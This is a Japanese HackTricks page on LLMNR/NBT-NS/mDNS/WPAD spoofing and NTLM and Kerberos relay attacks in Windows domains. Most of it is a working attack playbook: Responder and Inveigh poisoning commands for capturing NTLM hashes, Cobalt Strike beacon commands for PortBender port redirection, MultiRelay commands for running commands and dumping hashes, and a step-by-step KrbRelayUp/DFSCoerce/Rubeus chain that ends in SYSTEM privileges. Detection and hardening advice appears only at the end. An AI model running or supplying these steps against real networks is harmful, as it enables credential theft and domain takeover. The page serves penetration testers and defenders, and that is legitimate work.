LLMNR、NBT-NS、mDNS/DNS、WPADおよびリレー攻撃のスプーフィング
Reading time: 17 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ネットワークプロトコル
ローカルホスト解決プロトコル
- LLMNR、NBT-NS、およびmDNS:
- Microsoftおよび他のオペレーティングシステムは、DNSが失敗した場合にローカル名解決のためにLLMNRおよびNBT-NSを使用します。同様に、AppleおよびLinuxシステムはmDNSを使用します。
- これらのプロトコルは、UDP上での認証されていないブロードキャストの性質のため、傍受およびスプーフィングに対して脆弱です。
- Responderは、これらのプロトコルを照会するホストに対して偽の応答を送信することでサービスを偽装するために使用できます。
- Responderを使用したサービスの偽装に関する詳細情報はこちらで確認できます。
ウェブプロキシ自動検出プロトコル (WPAD)
- WPADは、ブラウザがプロキシ設定を自動的に発見することを可能にします。
- 発見は、DHCP、DNSを介して行われ、DNSが失敗した場合はLLMNRおよびNBT-NSにフォールバックします。
- ResponderはWPAD攻撃を自動化し、クライアントを悪意のあるWPADサーバーに誘導します。
プロトコルポイズニングのためのResponder
- Responderは、LLMNR、NBT-NS、およびmDNSクエリをポイズニングするために使用されるツールで、主にSMBサービスをターゲットにしてクエリタイプに基づいて選択的に応答します。
- Kali Linuxにプリインストールされており、
/etc/responder/Responder.conf
で設定可能です。 - Responderは、キャプチャしたハッシュを画面に表示し、
/usr/share/responder/logs
ディレクトリに保存します。 - IPv4およびIPv6の両方をサポートしています。
- Windows版のResponderはこちらで入手できます。
Responderの実行
- デフォルト設定でResponderを実行するには:
responder -I <Interface>
- より攻撃的なプロービングを行うには(潜在的な副作用あり):
responder -I <Interface> -P -r -v
- NTLMv1チャレンジ/レスポンスをキャプチャしてクラックを容易にするための技術:
responder -I <Interface> --lm --disable-ess
- WPADの偽装を有効にするには:
responder -I <Interface> --wpad
- NetBIOSリクエストを攻撃者のIPに解決し、認証プロキシを設定するには:
responder.py -I <interface> -Pv
Responderを使用したDHCPポイズニング
- DHCP応答をスプーフィングすることで、被害者のルーティング情報を永続的にポイズンし、ARPポイズニングに対するよりステルスな代替手段を提供します。
- これは、ターゲットネットワークの構成に関する正確な知識を必要とします。
- 攻撃を実行するには:
./Responder.py -I eth0 -Pdv
- この方法はNTLMv1/2ハッシュを効果的にキャプチャできますが、ネットワークの中断を避けるために慎重な取り扱いが必要です。
Responderを使用した資格情報のキャプチャ
- Responderは、上記のプロトコルを使用してサービスを偽装し、ユーザーが偽装されたサービスに対して認証を試みるときに資格情報(通常はNTLMv2チャレンジ/レスポンス)をキャプチャします。
- NetNTLMv1にダウングレードしたり、ESSを無効にして資格情報のクラックを容易にする試みが行われることがあります。
これらの技術を使用する際は、法的かつ倫理的に行動し、適切な承認を得て、混乱や不正アクセスを避けることが重要です。
Inveigh
Inveighは、Windowsシステム向けに設計されたペネトレーションテスターおよびレッドチーム用のツールです。Responderと同様の機能を提供し、スプーフィングおよび中間者攻撃を実行します。このツールは、PowerShellスクリプトからC#バイナリに進化し、InveighおよびInveighZeroが主要なバージョンです。詳細なパラメータと指示はwikiで確認できます。
InveighはPowerShellを通じて操作できます:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
C# バイナリとして実行されるか:
Inveigh.exe
NTLM Relay Attack
この攻撃は、SMB認証セッションを利用してターゲットマシンにアクセスし、成功すればシステムシェルを取得します。主な前提条件は以下の通りです:
- 認証するユーザーは、リレーされたホストでローカル管理者アクセスを持っている必要があります。
- SMB署名は無効にする必要があります。
445ポートの転送とトンネリング
直接的なネットワーク導入が不可能なシナリオでは、ポート445のトラフィックを転送し、トンネリングする必要があります。PortBenderのようなツールは、ポート445のトラフィックを別のポートにリダイレクトするのに役立ち、ローカル管理者アクセスがドライバのロードに利用可能な場合に重要です。
PortBenderのセットアップとCobalt Strikeでの操作:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
NTLMリレー攻撃のための他のツール
- Metasploit: プロキシ、ローカルおよびリモートホストの詳細を設定します。
- smbrelayx: SMBセッションをリレーし、コマンドを実行したりバックドアを展開するためのPythonスクリプトです。
- MultiRelay: 特定のユーザーまたはすべてのユーザーをリレーし、コマンドを実行したりハッシュをダンプするためのResponderスイートのツールです。
各ツールは、必要に応じてSOCKSプロキシを介して動作するように構成でき、間接的なネットワークアクセスでも攻撃を可能にします。
MultiRelayの操作
MultiRelayは_/usr/share/responder/tools_ディレクトリから実行され、特定のIPまたはユーザーをターゲットにします。
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
これらのツールと技術は、さまざまなネットワーク環境でNTLMリレー攻撃を実施するための包括的なセットを形成します。
NTLMログインの強制
Windowsでは、特権アカウントが任意のマシンに認証するよう強制できる場合があります。方法を学ぶには、以下のページを参照してください:
Force NTLM Privileged Authentication
Kerberosリレー攻撃
Kerberosリレー攻撃は、あるサービスからAP-REQチケットを盗み、同じコンピュータアカウントキーを共有する別のサービスに再利用します(両方のSPNが同じ$
マシンアカウントに存在するため)。これは、SPNのサービスクラスが異なっていても機能します(例:CIFS/
→ LDAP/
)。なぜなら、チケットを復号化するためのキーはマシンのNTハッシュであり、SPN文字列自体ではなく、SPN文字列は署名の一部ではないからです。
NTLMリレーとは異なり、ホップは同じホストに制限されますが、LDAPに書き込むことを許可するプロトコルをターゲットにすると、リソースベースの制約付き委任(RBCD)やAD CS登録にチェーン接続し、NT AUTHORITY\SYSTEMを一度で取得できます。
この攻撃に関する詳細情報は以下を確認してください:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberosの基本
トークン | 目的 | リレーの関連性 |
---|---|---|
TGT / AS-REQ ↔ REP | KDCに対するユーザーの証明 | 影響なし |
サービスチケット / TGS-REQ ↔ REP | 一つのSPNにバウンド; SPN所有者のキーで暗号化 | アカウントを共有するSPNの場合は相互交換可能 |
AP-REQ | クライアントがサービスにTGS を送信 | 私たちが盗むもの & 再生するもの |
- チケットはSPNを所有するアカウントのパスワード由来のキーで暗号化されています。
- AP-REQ内のAuthenticatorには5分のタイムスタンプがあり、そのウィンドウ内での再生はサービスキャッシュが重複を検出するまで有効です。
- Windowsは、チケット内のSPN文字列がヒットしたサービスと一致するかどうかをほとんど確認しないため、
CIFS/HOST
のチケットは通常LDAP/HOST
で正常に復号化されます。
-
- Kerberosをリレーするために必要な条件
- 共有キー: ソースとターゲットのSPNが同じコンピュータアカウントに属している(Windowsサーバーではデフォルト)。
- チャネル保護なし: SMB/LDAP署名オフ、HTTP/LDAPSのEPAオフ。
- 認証を傍受または強制できる: LLMNR/NBNSポイズン、DNSスプーフ、PetitPotam / DFSCoerce RPC、偽のAuthIP、悪意のあるDCOMなど。
- チケットソースがすでに使用されていない: 実際のパケットが到達する前にレースに勝つか、完全にブロックする必要があります。そうでない場合、サーバーの再生キャッシュがイベント4649を発火します。
- 何らかの方法で通信のMitMを実行できる必要があります。ドメインのDNSを変更するためにDNSAminsグループの一部であるか、被害者のHOSTファイルを変更できる必要があります。
Kerberosリレー手順
- 3.1 ホストの偵察
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 リレーリスナーを開始する
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
はKrbRelay → LDAP → RBCD → Rubeus → SCMバイパスを1つのバイナリにまとめています。
- 3.3 Kerberos認証を強制する
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerceはDCにKerberos CIFS/DC01
チケットを送信させます。
- 3.4 AP-REQを中継する
KrbRelayはSMBからGSSブロブを抽出し、それをLDAPバインドに再パッケージ化してldap://DC01
に転送します—同じキーがそれを復号化するため、認証は成功します。
- 3.5 LDAPを悪用する ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
あなたは現在 NT AUTHORITY\SYSTEM を所有しています。
知っておくべきその他のパス
ベクター | トリック | 重要性 |
---|---|---|
AuthIP / IPSec | 偽のサーバーが任意のSPNを持つGSS-IDペイロードを送信; クライアントはあなたに直接AP-REQを構築 | サブネットを越えても機能; デフォルトでマシンクレデンシャル |
DCOM / MSRPC | 悪意のあるOXIDリゾルバーがクライアントに任意のSPNとポートに認証させる | 純粋なローカル特権昇格; ファイアウォールを回避 |
AD CS Web Enroll | HTTP/CA にマシンチケットをリレーし、証明書を取得、その後PKINITでTGTを生成 | LDAP署名防御を回避 |
Shadow Credentials | msDS-KeyCredentialLink を書き込み、偽造された鍵ペアでPKINIT | コンピュータアカウントを追加する必要なし |
トラブルシューティング
エラー | 意味 | 修正 |
---|---|---|
KRB_AP_ERR_MODIFIED | チケットキー ≠ ターゲットキー | ホスト/SPNが間違っている |
KRB_AP_ERR_SKEW | 時計が5分以上のオフセット | 時間を同期するかw32tm を使用 |
LDAPバインド失敗 | 署名が強制されている | AD CSパスを使用するか署名を無効にする |
イベント4649のスパム | サービスが重複した認証子を検出 | 元のパケットをブロックまたは競争 |
検出
- 数秒以内に同じソースからのイベント4769の急増。
- サービス上のイベント4649はリプレイが検出されたことを示す。
- 127.0.0.1からのKerberosログオン(ローカルSCMへのリレー)は非常に疑わしい—KrbRelayUpドキュメントのSigmaルールでマッピング。
msDS-AllowedToActOnBehalfOfOtherIdentity
またはmsDS-KeyCredentialLink
属性の変更を監視。
ハードニング
- すべてのサーバーでLDAPおよびSMB署名 + EPAを強制。
- SPNを分割し、HTTPがCIFS/LDAPと同じアカウントにないようにする。
- 強制ベクターをパッチ(PetitPotam KB5005413、DFS、AuthIP)。
- **
ms-DS-MachineAccountQuota = 0
**を設定して不正なコンピュータの参加を防ぐ。 - イベント4649および予期しないループバックKerberosログオンにアラートを出す。
参考文献
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。